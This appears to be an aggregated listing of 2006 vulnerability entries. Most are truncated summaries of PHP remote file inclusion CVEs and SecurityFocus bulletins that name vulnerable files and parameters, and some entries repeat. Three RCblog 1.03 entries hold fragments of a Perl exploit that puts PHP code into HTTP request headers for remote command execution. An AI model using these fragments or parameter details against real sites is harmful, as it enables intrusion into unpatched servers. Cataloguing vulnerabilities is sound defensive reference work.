CVE-2006-2983: Undefined Security Weakness

PHP remote file inclusion vulnerability in Enterprise Timesheet and Payroll Systems EPS 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter in cal.php. NOTE: the provenance of this information is unknown; the details are obtained solely fr...

DoubleSpeak 0.1 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/18401/info DoubleSpeak is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files containi...

Simpnews 2.x - 'Wap_short_news.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/18410/info Simpnews is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PH...

Adaptive Website Framework 1.11 - Remote File Inclusion

Adaptive Website Framework 1.11 - Remote File Inclusion source: https://www.securityfocus.com/bid/18386/info Adaptive Website Framework is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can...

Foing 0.x - Remote File Inclusion

Foing 0.x - Remote File Inclusion source: https://www.securityfocus.com/bid/18392/info Foing is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remo...

CVE-2006-2964: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Xtreme Scripts Download Manager aka Xtreme Downloads 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the root parameter in 1 download.php, 2 manager.php, 3 admin/scripts/category.php, 4 includes/addallow.php, 5...

CVE-2006-2962: Undefined Security Weakness

PHP remote file inclusion vulnerability in sqlfcnsOLD.php in Emergenices Personnel Information System Empris 20020923 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phormationdir parameter...

Foing 0.x - Remote File Inclusion

source: https://www.securityfocus.com/bid/18392/info Foing is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP...

Adaptive Website Framework 1.11 - Remote File Inclusion

source: https://www.securityfocus.com/bid/18386/info Adaptive Website Framework is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote files...

RCblog <= 1.03 (post) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl $App : RCblog = 1.03 Remote Command Execution Exploit $Bug : http://tinyphp/index.php?post=../afile%00 $IHST: h4ckerz.com / hackerz.ir / coded & discovered By Hessam-x Hessamx -at- Hessamx.net use IO::Socket; use LWP::Simple; print...

RCblog 1.03 - POST Remote Command Execution

RCblog 1.03 - POST Remote Command Execution !/usr/bin/perl $App : RCblog "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent: ".$pcode."\r\n";...

RCblog 1.03 - 'POST' Remote Command Execution

!/usr/bin/perl $App : RCblog "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent: ".$pcode."\r\n"; print $socket "Host: ".$server."\r\n"; print...

CVE-2006-2928

Multiple PHP remote file inclusion vulnerabilities in CMS-Bandits 2.5 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the spawroot parameter in 1 dialogs/img.php and 2 dialogs/td.php...

CVE-2006-2929

PHP remote file inclusion vulnerability in contrib/forms/evaluation/CFormEvaluation.class.php in OpenEMR 2.8.1 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSfileroot parameter...

CVE-2006-2921: Undefined Security Weakness

PHP remote file inclusion vulnerability in cmproheader.inc.php in Clan Manager Pro CMPRO 1.1 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the 1 cmextserver and 2 sitepath parameters...

CVE-2006-2888

PHP remote file inclusion vulnerability in wk/wklang.php in Wikiwig 4.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the WKwkPath parameter...

Immunity Canvas: DOKUWIKI_EXEC

Name| dokuwikiexec ---|--- CVE| CVE-2006-2878 Exploit Pack| CANVAS Description| DokuWiki Spell Checker Embedded Link Arbitrary PHP Code Execution Notes| CVE Name: CVE-2006-2878 VENDOR: DokuWiki Repeatability: Infinite References: 'http://www.hardened-php.net/advisory042006.119.html' CVSS: 7.5 DOR...

CVE-2006-2878

The spellchecker spellcheck.php in DokuWiki 2006/06/04 and earlier allows remote attackers to insert and execute arbitrary PHP code via "complex curly syntax" that is inserted into a regular expression that is processed by pregreplace with the /e executable modifier...

CVE-2006-2878

The spellchecker spellcheck.php in DokuWiki 2006/06/04 and earlier allows remote attackers to insert and execute arbitrary PHP code via "complex curly syntax" that is inserted into a regular expression that is processed by pregreplace with the /e executable modifier...

MiraksGalerie 2.62 - galsecurity.lib.php?listconfigfile[0] Remote File Inclusion

MiraksGalerie 2.62 - galsecurity.lib.php?listconfigfile0 Remote File Inclusion source: https://www.securityfocus.com/bid/18313/info MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input...